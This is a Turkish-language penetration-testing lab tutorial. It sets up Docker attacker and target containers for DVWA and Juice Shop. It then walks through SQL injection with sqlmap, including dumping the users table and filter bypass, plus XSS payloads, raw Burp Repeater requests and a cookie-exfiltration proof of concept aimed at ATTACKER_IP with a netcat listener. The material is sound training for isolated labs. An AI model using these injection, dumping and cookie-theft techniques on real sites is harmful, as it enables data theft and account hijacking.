                                                        3) Build & Run — Ad\u0131mlar<\/h1>\r\n
                                                          \r\n
                                                        1. \r\n
                                                          Dockerfile.attacker<\/code>, docker-entrypoint.sh<\/code> ve docker-compose.yml<\/code> ayn\u0131 dizine koy.<\/p>\r\n<\/li>\r\n
                                                        2. \r\n
                                                          E\u011fer<\/em> Burp kullanacaksan: kendi burpsuite.jar<\/code> dosyan\u0131 bu dizine koy (örnek ad\u0131 burpsuite.jar<\/code>) ve docker-compose.yml<\/code> içinde INCLUDE_BURP<\/code> arg'\u0131n\u0131 yes<\/code> yap veya build komutunda ver. (Yine: Burp jar telifli — yaln\u0131zca kendi indirdi\u011fin jar'\u0131 kullan.)<\/p>\r\n<\/li>\r\n
                                                        3. \r\n
                                                          Build & run:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                          # \u0130maj\u0131 build et\r\ndocker-compose build attacker\r\n\r\n# Tüm servislere boot ver\r\ndocker-compose up -d\r\n<\/code><\/pre>\r\n
                                                            \r\n
                                                          1. \r\n
                                                            Attacker içine gir:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                            docker exec -it attacker \/bin\/bash\r\n<\/code><\/pre>\r\n
                                                              \r\n
                                                            1. \r\n
                                                              (Opsiyonel) E\u011fer GUI uygulamalar\u0131 çal\u0131\u015ft\u0131racaksan:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                \r\n
                                                              • \r\n
                                                                Kolay yol: kendi makinan\u0131zda Burp çal\u0131\u015ft\u0131r\u0131p proxy (127.0.0.1:8080 vs) ayarlars\u0131n; taray\u0131c\u0131y\u0131 host üzerinde tutup http:\/\/localhost:3000<\/code>\/8081<\/code> adreslerine istek gönderdi\u011finde Burp ile görürsün.<\/p>\r\n<\/li>\r\n
                                                              • \r\n
                                                                Konteyner içinde Burp GUI çal\u0131\u015ft\u0131rmak istersen X11 veya VNC yönlendirmesi yap; bu detayl\u0131 kurulum istersen ek olarak ekleyebilirim.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                \r\n
                                                                4) SQLi Tutorial — DVWA örne\u011fi (ad\u0131m ad\u0131m)<\/h1>\r\n
                                                                \r\n
                                                                Önko\u015ful: DVWA çal\u0131\u015f\u0131yor (http:\/\/localhost:8081<\/code>) ve DVWA DB olu\u015fturulmu\u015f. Taray\u0131c\u0131dan DVWA’ye eri\u015f, admin ile giri\u015f yap (varsay\u0131lan: admin<\/code>\/password<\/code> veya DVWA arayüzünde kullan\u0131c\u0131 olu\u015ftur). DVWA security seviyesini Low<\/strong> yap.<\/p>\r\n<\/blockquote>\r\n
                                                                A. Ke\u015fif<\/h3>\r\n
                                                                  \r\n
                                                                1. \r\n
                                                                  Hedef form: http:\/\/localhost:8081\/vulnerabilities\/sqli\/<\/code> (DVWA örne\u011fi)<\/p>\r\n<\/li>\r\n
                                                                2. \r\n
                                                                  Attacker konteynerinde terminal:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                  # sqlmap kurulu mu kontrol\r\nwhich sqlmap || python3 -m pip install sqlmap\r\n<\/code><\/pre>\r\n
                                                                    \r\n
                                                                  1. \r\n
                                                                    Önce form ile manuel test: input alan\u0131na ' OR '1'='1<\/code> gibi payload gir ve sonucu gözlemle.<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                    B. Oturum cookie’sini al (Taray\u0131c\u0131dan)<\/h3>\r\n
                                                                      \r\n
                                                                    • \r\n
                                                                      Taray\u0131c\u0131da DVWA'ya giri\u015f yap.<\/p>\r\n<\/li>\r\n
                                                                    • \r\n
                                                                      Developer Tools -> Application -> Cookies -> PHPSESSID<\/code> ve security<\/code> de\u011ferlerini kopyala.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                      Örnek cookie:<\/p>\r\n
                                                                      PHPSESSID=abcd1234; security=low\r\n<\/code><\/pre>\r\n
                                                                      C. sqlmap ile DB tarama<\/h3>\r\n
                                                                        \r\n
                                                                      1. \r\n
                                                                        Basit DB ke\u015ffi:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                        sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&Submit=Submit\" --cookie=\"PHPSESSID=abcd1234; security=low\" --dbs --batch\r\n<\/code><\/pre>\r\n
                                                                          \r\n
                                                                        • \r\n
                                                                          --dbs<\/code> : veritabanlar\u0131n\u0131 listeler<\/p>\r\n<\/li>\r\n
                                                                        • \r\n
                                                                          --batch<\/code> : interaktif istemleri otomatik cevaplar<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                            \r\n
                                                                          1. \r\n
                                                                            Belirli veritaban\u0131ndaki tablolar\u0131 listele:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                            sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&Submit=Submit\" --cookie=\"PHPSESSID=abcd1234; security=low\" -D dvwa --tables --batch\r\n<\/code><\/pre>\r\n
                                                                              \r\n
                                                                            1. \r\n
                                                                              Tablo içeri\u011fini dök:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                              sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&Submit=Submit\" --cookie=\"PHPSESSID=abcd1234; security=low\" -D dvwa -T users --dump --batch\r\n<\/code><\/pre>\r\n
                                                                              D. Parametre ke\u015fif (daha güvenli)<\/h3>\r\n
                                                                                \r\n
                                                                              • \r\n
                                                                                E\u011fer id<\/code> parametresi otomatik saptanmazsa -p id<\/code> kullan:<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                sqlmap -u \"http:\/\/localhost:8081\/vulnerabilities\/sqli\/?id=1&Submit=Submit\" -p id --cookie=\"...\" --dbs --batch\r\n<\/code><\/pre>\r\n
                                                                                E. Sonuç \/ ç\u0131kt\u0131 beklentisi<\/h3>\r\n
                                                                                  \r\n
                                                                                • \r\n
                                                                                  --dbs<\/code> ç\u0131kt\u0131s\u0131nda dvwa<\/code> vb. göreceksin.<\/p>\r\n<\/li>\r\n
                                                                                • \r\n
                                                                                  --dump<\/code> ile users<\/code> tablosuna ait sat\u0131rlar ç\u0131kar: kullan\u0131c\u0131 adlar\u0131, \u015fifre hashleri (DVWA örne\u011finde basit hashler olabilir).<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                  Faydal\u0131 ek parametreler<\/h3>\r\n
                                                                                    \r\n
                                                                                  • \r\n
                                                                                    --threads=5<\/code> : h\u0131z<\/p>\r\n<\/li>\r\n
                                                                                  • \r\n
                                                                                    --risk=3 --level=5<\/code> : daha agresif test<\/p>\r\n<\/li>\r\n
                                                                                  • \r\n
                                                                                    --tamper=space2comment<\/code> : WAF\/filtre atlatma (ö\u011frenmek için)<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                    \r\n
                                                                                    5) XSS Tutorial — Juice Shop & DVWA (reflected & stored)<\/h1>\r\n
                                                                                    A. Reflected XSS (basit)<\/h3>\r\n
                                                                                      \r\n
                                                                                    • \r\n
                                                                                      Juice Shop veya DVWA’sa reflected vektörler olabilir. Örnek: URL parametreleri ile payload.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                        \r\n
                                                                                      1. \r\n
                                                                                        Basit payload test:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                                        http:\/\/localhost:3000\/#\/search?q=\r\n<\/code><\/pre>\r\n
                                                                                        Juice Shop modern SPA oldu\u011fundan DOM-based XSS olabilir; alert çal\u0131\u015f\u0131yorsa ba\u015far\u0131l\u0131d\u0131r.<\/p>\r\n
                                                                                        B. Stored XSS (yorum alan\u0131, profil aç\u0131klamas\u0131 vb.)<\/h3>\r\n
                                                                                          \r\n
                                                                                        1. \r\n
                                                                                          Juice Shop veya DVWA’da yorum ekleme\/feedback alan\u0131 bul.<\/p>\r\n<\/li>\r\n
                                                                                        2. \r\n
                                                                                          Payload olarak:<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                                          \r\n<\/code><\/pre>\r\n
                                                                                          Gönder ve hedef sayfay\u0131 yeniden yükleyip payload’un çal\u0131\u015ft\u0131\u011f\u0131n\u0131 do\u011frula.<\/p>\r\n
                                                                                          C. Burp Repeater — Reflected XSS örne\u011fi (copy\/paste haz\u0131r HTTP iste\u011fi)<\/h3>\r\n
                                                                                          A\u015fa\u011f\u0131daki template DVWA reflected örne\u011fi için basit bir GET iste\u011fi. Burp Proxy ile yakala veya do\u011frudan Repeater’e yap\u0131\u015ft\u0131r.<\/p>\r\n
                                                                                          GET \/vulnerabilities\/xss_r\/?name= HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36\r\nAccept: text\/html,application\/xhtml+xml\r\nAccept-Language: en-US,en;q=0.5\r\nConnection: close\r\nCookie: PHPSESSID=abcd1234; security=low\r\n<\/code><\/pre>\r\n
                                                                                            \r\n
                                                                                          • \r\n
                                                                                            Repeater’de gönder ve dönen HTML içinde payload’\u0131n ç\u0131kt\u0131s\u0131n\u0131 kontrol et. E\u011fer HTML encode edilmemi\u015fse alert çal\u0131\u015facakt\u0131r.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                            D. Burp Repeater — Stored XSS PoC (POST request örne\u011fi)<\/h3>\r\n
                                                                                            Örnek: bir yorum formuna POST istek atma (DVWA gibi):<\/p>\r\n
                                                                                            POST \/vulnerabilities\/xss_s\/ HTTP\/1.1\r\nHost: localhost:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 56\r\nCookie: PHPSESSID=abcd1234; security=low\r\n\r\nname=&message=hello&Submit=Submit\r\n<\/code><\/pre>\r\n
                                                                                              \r\n
                                                                                            • \r\n
                                                                                              Repeater ile iste\u011fi gönder. E\u011fer sayfa daha sonra bu mesajlar\u0131 listeliyorsa, payload'\u0131n çal\u0131\u015f\u0131p çal\u0131\u015fmad\u0131\u011f\u0131n\u0131 kontrol et.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                              E. Daha sofistike PoC — cookie exfiltration (örnek, sadece lab için)<\/h3>\r\n
                                                                                              PoC payload (stored) — aç\u0131l\u0131r pencereden ziyade cookie’yi attacker sunucusuna gönder:<\/p>\r\n
                                                                                              \r\n<\/code><\/pre>\r\n
                                                                                                \r\n
                                                                                              • \r\n
                                                                                                Not: ATTACKER_IP<\/code> yerine attacker’\u0131n IP’sini veya host’un reachable adresini yaz. Attacker taraf\u0131nda basit HTTP sunucu aç:<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                                # attacker konteynerinde basit dinleme\r\npython3 -m http.server 8080\r\n# veya netcat\r\nnc -lvnp 8080\r\n<\/code><\/pre>\r\n
                                                                                                \r\n
                                                                                                6) Burp Kullan\u0131m\u0131 Hakk\u0131nda Pratik Notlar<\/h1>\r\n
                                                                                                  \r\n
                                                                                                • \r\n
                                                                                                  GUI çal\u0131\u015ft\u0131rmak istersen<\/strong>: en kolay yol host makinanda Burp Suite çal\u0131\u015ft\u0131r\u0131p taray\u0131c\u0131n\u0131 (host) Burp proxy’ye yönlendirmek ve taray\u0131c\u0131dan http:\/\/localhost:3000<\/code>\/8081<\/code> gibi adreslere eri\u015fmektir. Böylece Burp trafi\u011fi görebilir, Repeater, Intruder vb. kullanabilirsin.<\/p>\r\n<\/li>\r\n
                                                                                                • \r\n
                                                                                                  Konteyner içinde GUI çal\u0131\u015ft\u0131rmak<\/strong>: X11 forwarding (Linux host) veya VNC kurup VNC client ile ba\u011flanma gerekir — bunun için ekstra konfigürasyon istenir.<\/p>\r\n<\/li>\r\n
                                                                                                • \r\n
                                                                                                  Burp jar konteyner içinde<\/strong>: java -jar \/opt\/burp\/burpsuite.jar<\/code> çal\u0131\u015ft\u0131r\u0131l\u0131r (e\u011fer jar kopyaland\u0131ysa). GUI için X11 veya VNC gerekli.<\/p>\r\n<\/li>\r\n
                                                                                                • \r\n
                                                                                                  Proxy + docker network<\/strong>: Host taray\u0131c\u0131s\u0131ndan yapt\u0131\u011f\u0131n istekler do\u011frudan konteynerin host-mapped portlar\u0131na gider. E\u011fer Burp konteyner içindeyse ve host taray\u0131c\u0131dan kullanacaksan, Burp’\u0131n dinledi\u011fi portu ports:<\/code> ile expose et veya a\u011f ayarlar\u0131n\u0131 kontrol et.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                                  \r\n
                                                                                                   <\/p>\r\n
                                                                                                  Laboratuvar :<\/h1>\r\n
                                                                                                  A — GUI (VNC + Fluxbox + noVNC) içeren özel attacker image<\/h1>\r\n
                                                                                                  \r\n
                                                                                                  Not: Burp Suite .jar<\/code> telifli oldu\u011fu için Dockerfile otomatik indirme yapmaz. E\u011fer Burp kullanacaksan, kendi indirdi\u011fin burpsuite.jar<\/code> dosyas\u0131n\u0131 bu build context’e koy. Alternatif olarak INCLUDE_BURP=no<\/code> b\u0131rak\u0131p sadece ZAP kullanabilirsin.<\/p>\r\n<\/blockquote>\r\n
                                                                                                  1) Dockerfile.gui<\/code> (kök dizine koy)<\/h3>\r\n
                                                                                                  # Dockerfile.gui\r\nFROM kalilinux\/kali-rolling\r\n\r\nARG BURP_JAR=burpsuite.jar\r\nARG INCLUDE_BURP=no\r\n\r\nENV DEBIAN_FRONTEND=noninteractive\r\nRUN apt-get update && apt-get install -y \\\r\n    xfce4 xfce4-terminal fluxbox x11vnc novnc websockify \\\r\n    python3 python3-pip git curl wget net-tools iputils-ping \\\r\n    default-jre-headless openjdk-11-jre-headless \\\r\n    sqlmap chromium pulseaudio supervisor unzip \\\r\n    && apt-get clean && rm -rf \/var\/lib\/apt\/lists\/*\r\n\r\n# pip araçlar\u0131\r\nRUN pip3 install --upgrade pip && pip3 install websockify\r\n\r\n# çal\u0131\u015fma dizini\r\nWORKDIR \/root\r\n\r\n# Burp jar (iste\u011fe ba\u011fl\u0131, build context'e koy)\r\nARG INCLUDE_BURP\r\nCOPY entrypoint-gui.sh \/usr\/local\/bin\/entrypoint-gui.sh\r\nRUN chmod +x \/usr\/local\/bin\/entrypoint-gui.sh\r\n\r\n# E\u011fer kullan\u0131c\u0131 burp jar'\u0131n\u0131 koyduysa kopyala (opsiyonel)\r\nCOPY ${BURP_JAR} \/opt\/burp\/${BURP_JAR}\r\n\r\nEXPOSE 5901    # VNC\r\nEXPOSE 6080    # noVNC (web client)\r\nEXPOSE 8080    # Burp proxy listener (host access)\r\nVOLUME [\"\/root\"]\r\n\r\nENTRYPOINT [\"\/usr\/local\/bin\/entrypoint-gui.sh\"]\r\nCMD [\"\/bin\/bash\"]\r\n<\/code><\/pre>\r\n
                                                                                                  2) entrypoint-gui.sh<\/code> (ayn\u0131 dizine koy)<\/h3>\r\n
                                                                                                  #!\/bin\/bash\r\nset -e\r\n\r\n# Basit fluxbox + x11vnc + noVNC ba\u015flatma entrypoint\r\nDISPLAY_NUM=1\r\nDISPLAY=\":${DISPLAY_NUM}\"\r\n\r\n# Fluxbox config yoksa default\r\nmkdir -p \/root\/.vnc\r\n\r\n# Ba\u015flatma komutlar\u0131\r\n# 1) X server (Xvfb) yerine do\u011frudan fluxbox ile kullan\u0131labilecek hafif çözüm:\r\n# Fluxbox ile bir X sunucusu gereklidir; burada Xvfb yerine Xorg yerine xfce4-session ele ald\u0131k.\r\n# Basit ve yayg\u0131n yakla\u015f\u0131m: start fluxbox in background using Xvfb\r\nXvfb ${DISPLAY} -screen 0 1024x768x24 &\r\n\r\nexport DISPLAY=${DISPLAY}\r\n\r\n# Ba\u015flat fluxbox\r\nfluxbox &\r\n\r\n# Ba\u015flat x11vnc (VNC eri\u015fimi)\r\nx11vnc -display ${DISPLAY} -forever -nopw -rfbport 5901 -shared &\r\n\r\n# Ba\u015flat noVNC (web üzerinden VNC)\r\n# websockify ile 5901 -> 6080\r\nwebsockify --web=\/usr\/share\/novnc\/ 6080 localhost:5901 &\r\n\r\n# E\u011fer burp jar varsa arka planda ba\u015flat (GUI için aç\u0131lacak pencerede çal\u0131\u015f\u0131r)\r\nif [ -f \/opt\/burp\/${BURP_JAR} ] && [ \"${INCLUDE_BURP}\" != \"no\" ]; then\r\n  echo \"[*] Burp jar bulundu, ba\u015flat\u0131l\u0131yor...\"\r\n  # Burp GUI'nin ayn\u0131 X display üzerinde ba\u015flamas\u0131 için:\r\n  java -jar \/opt\/burp\/${BURP_JAR} &>\/root\/burp.log &\r\nelse\r\n  echo \"[*] Burp jar yok veya INCLUDE_BURP=no. Burp kullanmak istiyorsan burpsuite.jar dosyas\u0131n\u0131 build context'e koy ve INCLUDE_BURP arg'\u0131n\u0131 yes yap.\"\r\nfi\r\n\r\n# E\u011fer Burp proxy olarak çal\u0131\u015ft\u0131rmak istersen portu expose et (genelde GUI üzerinden ayarlan\u0131r).\r\n# Bekle ve container interaktif shell ver\r\nexec \"$@\"\r\n<\/code><\/pre>\r\n
                                                                                                  \r\n
                                                                                                  Aç\u0131klama: bu entrypoint basit bir setup sa\u011flar: Xvfb (virtual X), fluxbox pencere yöneticisi, x11vnc ve noVNC. noVNC taray\u0131c\u0131dan VNC eri\u015fimi sa\u011flar: http:\/\/HOST:6080<\/code> ile taray\u0131c\u0131da GUI görebilirsin. Burp GUI çal\u0131\u015ft\u0131r\u0131lacaksa jar dosyas\u0131 container içinde \/opt\/burp\/<\/code> konumunda olmal\u0131 ve build arg ile INCLUDE_BURP<\/code> ayarlanmal\u0131.<\/p>\r\n<\/blockquote>\r\n
                                                                                                  \r\n
                                                                                                  B — docker-compose.yml<\/code> (GUI attacker entegre)<\/h1>\r\n
                                                                                                  Kök dizine a\u015fa\u011f\u0131y\u0131 koy:<\/p>\r\n
                                                                                                  version: \"3.8\"\r\nservices:\r\n  attacker_gui:\r\n    build:\r\n      context: .\r\n      dockerfile: Dockerfile.gui\r\n      args:\r\n        INCLUDE_BURP: \"yes\"   # burp jar koyduysan \"yes\" yap; yoksa \"no\"\r\n        BURP_JAR: \"burpsuite.jar\"\r\n    image: weblab\/attacker-gui:latest\r\n    container_name: attacker_gui\r\n    tty: true\r\n    stdin_open: true\r\n    ports:\r\n      - \"5901:5901\"   # VNC (optional)\r\n      - \"6080:6080\"   # noVNC web UI\r\n      - \"8080:8080\"   # Burp proxy listener (expose edilecek)\r\n    volumes:\r\n      - .\/attacker-data:\/root\r\n    networks:\r\n      - web-lab\r\n    restart: unless-stopped\r\n\r\n  # (önceki hedefler: juice_shop\/dvwa vb. buraya eklenir)\r\n  dvwa_db:\r\n    image: mysql:5.7\r\n    environment:\r\n      MYSQL_ROOT_PASSWORD: rootpass\r\n      MYSQL_DATABASE: dvwa\r\n      MYSQL_USER: dvwauser\r\n      MYSQL_PASSWORD: dvwapass\r\n    volumes:\r\n      - dvwa_db_data:\/var\/lib\/mysql\r\n    networks:\r\n      - web-lab\r\n\r\n  dvwa:\r\n    image: vulnerables\/web-dvwa:latest\r\n    environment:\r\n      - MYSQL_HOST=dvwa_db\r\n      - MYSQL_USER=dvwauser\r\n      - MYSQL_PASSWORD=dvwapass\r\n      - MYSQL_DATABASE=dvwa\r\n    ports:\r\n      - \"8081:80\"\r\n    depends_on:\r\n      - dvwa_db\r\n    networks:\r\n      - web-lab\r\n\r\n  juice_shop:\r\n    image: bkimminich\/juice-shop:latest\r\n    ports:\r\n      - \"3000:3000\"\r\n    networks:\r\n      - web-lab\r\n\r\nnetworks:\r\n  web-lab:\r\n    driver: bridge\r\n\r\nvolumes:\r\n  dvwa_db_data:\r\n  attacker-data:\r\n<\/code><\/pre>\r\n
                                                                                                  Build & Run:<\/h3>\r\n
                                                                                                  # Build attacker-gui image (burp jar'\u0131n\u0131 koyduysan INCLUDE_BURP=yes)\r\ndocker-compose build attacker_gui\r\n\r\n# Boot up\r\ndocker-compose up -d\r\n<\/code><\/pre>\r\n
                                                                                                    \r\n
                                                                                                  • \r\n
                                                                                                    noVNC (web VNC): http:\/\/localhost:6080<\/code> — taray\u0131c\u0131dan fluxbox masaüstüne eri\u015f.<\/p>\r\n<\/li>\r\n
                                                                                                  • \r\n
                                                                                                    VNC client: vnc:\/\/localhost:5901<\/code> (parolas\u0131z, dikkat: yaln\u0131zca yerelde ve izole a\u011fda kullan).<\/p>\r\n<\/li>\r\n
                                                                                                  • \r\n
                                                                                                    Burp proxy portu konteynerde otomatik ayarlanmaz — Burp GUI içinde Proxy -> Options k\u0131sm\u0131ndan Listener ekleyip 0.0.0.0:8080<\/code> dinlemesini aç; böylece host http:\/\/localhost:8080<\/code> üzerinden Burp proxy’ye ula\u015fabilir.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                                    \r\n
                                                                                                    C — Burp Proxy’yi container içinde çal\u0131\u015ft\u0131r\u0131p host taray\u0131c\u0131y\u0131 proxy’e yönlendirme (X11 yerine kolay yol)<\/h1>\r\n
                                                                                                    En kolay, sa\u011flam ve pratik yol: Burp GUI’yi container içinde noVNC üzerinden aç<\/strong>, Burp GUI içinden Proxy → Options → Add → Listener 0.0.0.0:8080<\/code> \u015feklinde ekle. Sonra host taray\u0131c\u0131y\u0131 \u015fu \u015fekilde ayarla:<\/p>\r\n
                                                                                                      \r\n
                                                                                                    1. \r\n
                                                                                                      Host taray\u0131c\u0131nda HTTP proxy ayar\u0131n\u0131 localhost<\/code> port 8080<\/code> yap. Örne\u011fin:<\/p>\r\n
                                                                                                        \r\n
                                                                                                      • \r\n
                                                                                                        Firefox: Settings → Network Settings → Manual proxy configuration → HTTP Proxy: 127.0.0.1<\/code>, Port: 8080<\/code>.<\/p>\r\n<\/li>\r\n
                                                                                                      • \r\n
                                                                                                        Chrome: Sistem proxy ayar\u0131n\u0131 kullan — i\u015fletim sistemine göre ayarla (Windows: Internet Options → LAN settings; Linux: env veya GNOME network settings).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n
                                                                                                      • \r\n
                                                                                                        Burp CA sertifikas\u0131n\u0131 (TLS intercept için) host taray\u0131c\u0131ya yükle:<\/p>\r\n
                                                                                                          \r\n
                                                                                                        • \r\n
                                                                                                          noVNC ile Burp GUI’ye gir: http:\/\/localhost:6080<\/code> → Burp aç.<\/p>\r\n<\/li>\r\n
                                                                                                        • \r\n
                                                                                                          Burp → Proxy → Intercept aç\u0131kken host taray\u0131c\u0131dan herhangi bir HTTPS siteye git; Burp otomatik olarak HTTPS trafi\u011fini durdurursa, Burp’un CA sertifikas\u0131n\u0131 export et: Burp → Proxy → Options → CA Certificate → Export \/ Save<\/code> veya http:\/\/burp<\/code> (Burp’un embedded CA web sayfas\u0131).<\/p>\r\n<\/li>\r\n
                                                                                                        • \r\n
                                                                                                          Host taray\u0131c\u0131ya bu sertifikay\u0131 güvenilir CA olarak yükle (testlab için geçici).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n
                                                                                                        • \r\n
                                                                                                          Art\u0131k host taray\u0131c\u0131 ile normal \u015fekilde http:\/\/localhost:8081<\/code> (DVWA) veya http:\/\/localhost:3000<\/code> (Juice Shop) adreslerine gidip tüm trafi\u011fin Burp üzerinden geçti\u011fini gözlemleyebilirsin. Burp GUI noVNC içinde görünüyor; proxy portu host’a aç\u0131k oldu\u011fu için X11 yönlendirmeye gerek yok.<\/p>\r\n<\/li>\r\n<\/ol>\r\n
                                                                                                          \r\n
                                                                                                          Özet: noVNC ile Burp GUI’ye ba\u011flan → Burp içinde proxy listener aç 0.0.0.0:8080<\/code> → host taray\u0131c\u0131da proxy ayarla → (iste\u011fe ba\u011fl\u0131) Burp CA’y\u0131 host taray\u0131c\u0131ya yükle.<\/p>\r\n<\/blockquote>\r\n
                                                                                                          \r\n
                                                                                                          D — Burp Repeater oturumlar\u0131: Tam reproducible raw HTTP örnekleri (SQLi & XSS)<\/h1>\r\n
                                                                                                          A\u015fa\u011f\u0131daki istekleri Burp Proxy ile yakala veya do\u011frudan Repeater<\/strong>’a yap\u0131\u015ft\u0131r. Cookie<\/code> sat\u0131r\u0131n\u0131 kendi çal\u0131\u015f\u0131r oturum PHPSESSID<\/code> ile de\u011fi\u015ftir ve Host<\/code>\/URL’leri kendi ortam\u0131na göre ayarla (localhost:8081 DVWA örne\u011fi).<\/p>\r\n
                                                                                                          1) SQLi — GET reflected parameter (DVWA sqli<\/code>)<\/h2>\r\n
                                                                                                          Request (copy\/paste to Repeater)<\/h3>\r\n
                                                                                                          GET \/vulnerabilities\/sqli\/?id=1&Submit=Submit HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0\r\nAccept: text\/html\r\nConnection: close\r\nCookie: PHPSESSID=REPLACE_WITH_YOUR_SESSION; security=low\r\n<\/code><\/pre>\r\n
                                                                                                          Nas\u0131l test edilir (manipülasyon)<\/h3>\r\n
                                                                                                            \r\n
                                                                                                          • \r\n
                                                                                                            Repeater içinde id=1<\/code> yerine \u015fu payload’\u0131 koy:<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                                            id=1' OR '1'='1\r\n<\/code><\/pre>\r\n
                                                                                                            Yani sat\u0131r\u0131 \u015fu hale getir:<\/p>\r\n
                                                                                                            GET \/vulnerabilities\/sqli\/?id=1'%20OR%20'1'='1&Submit=Submit HTTP\/1.1\r\n<\/code><\/pre>\r\n
                                                                                                            (Repeater’de URL encode\/encode etmeye dikkat et; do\u011frudan body veya param alan\u0131na yazabilirsin.)<\/p>\r\n
                                                                                                            Beklenen yan\u0131t \/ neye bakmal\u0131<\/h3>\r\n
                                                                                                              \r\n
                                                                                                            • \r\n
                                                                                                              E\u011fer uygulama id<\/code> parametresini do\u011frudan SQL sorgusuna ekliyorsa ve filtrasyon yoksa, sorgu tüm kay\u0131tlar\u0131 döndürebilir. HTML ç\u0131kt\u0131 bölümünde daha fazla sonuç veya DB sat\u0131r\u0131 görürsün.<\/p>\r\n<\/li>\r\n
                                                                                                            • \r\n
                                                                                                              Hata tabanl\u0131 SQLi’de SQL hatas\u0131 mesajlar\u0131 (MySQL error) dönebilir; örn. You have an error in your SQL syntax<\/code> gibi.<\/p>\r\n<\/li>\r\n
                                                                                                            • \r\n
                                                                                                              Ekran görüntüsü (metin \u015feklinde):<\/p>\r\n
                                                                                                                \r\n
                                                                                                              • \r\n
                                                                                                                screenshots\/sqli-repeater-response.txt<\/code> içeri\u011fi örne\u011fi: HTML içerisinde username<\/code> veya user id<\/code> listesi, ya da SQL error trace.<\/p>\r\n<\/li>\r\n
                                                                                                              • \r\n
                                                                                                                Örnek beklenen sat\u0131r: User ID: 1 - admin<\/code> veya SQL syntax error near 'OR '1'='1'<\/code>.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                                                Manuel PoC: basit boolean test<\/h3>\r\n
                                                                                                                  \r\n
                                                                                                                • \r\n
                                                                                                                  Payload: id=1' AND 1=1 -- -<\/code> ve id=1' AND 1=2 -- -<\/code> fark\u0131n\u0131 kontrol et. 1=1<\/code> ile sayfa normal döner, 1=2<\/code> ile içerik de\u011fi\u015fiyorsa boolean-based SQLi.<\/p>\r\n<\/li>\r\n<\/ul>\r\n
                                                                                                                  \r\n
                                                                                                                  2) SQLi — POST örne\u011fi (e\u011fer form POST ise)<\/h2>\r\n
                                                                                                                  Request (POST)<\/h3>\r\n
                                                                                                                  POST \/some\/vuln\/post.php HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 30\r\nCookie: PHPSESSID=REPLACE; security=low\r\n\r\nid=1&name=foo\r\n<\/code><\/pre>\r\n
                                                                                                                  Repeater manipulasyon:<\/h3>\r\n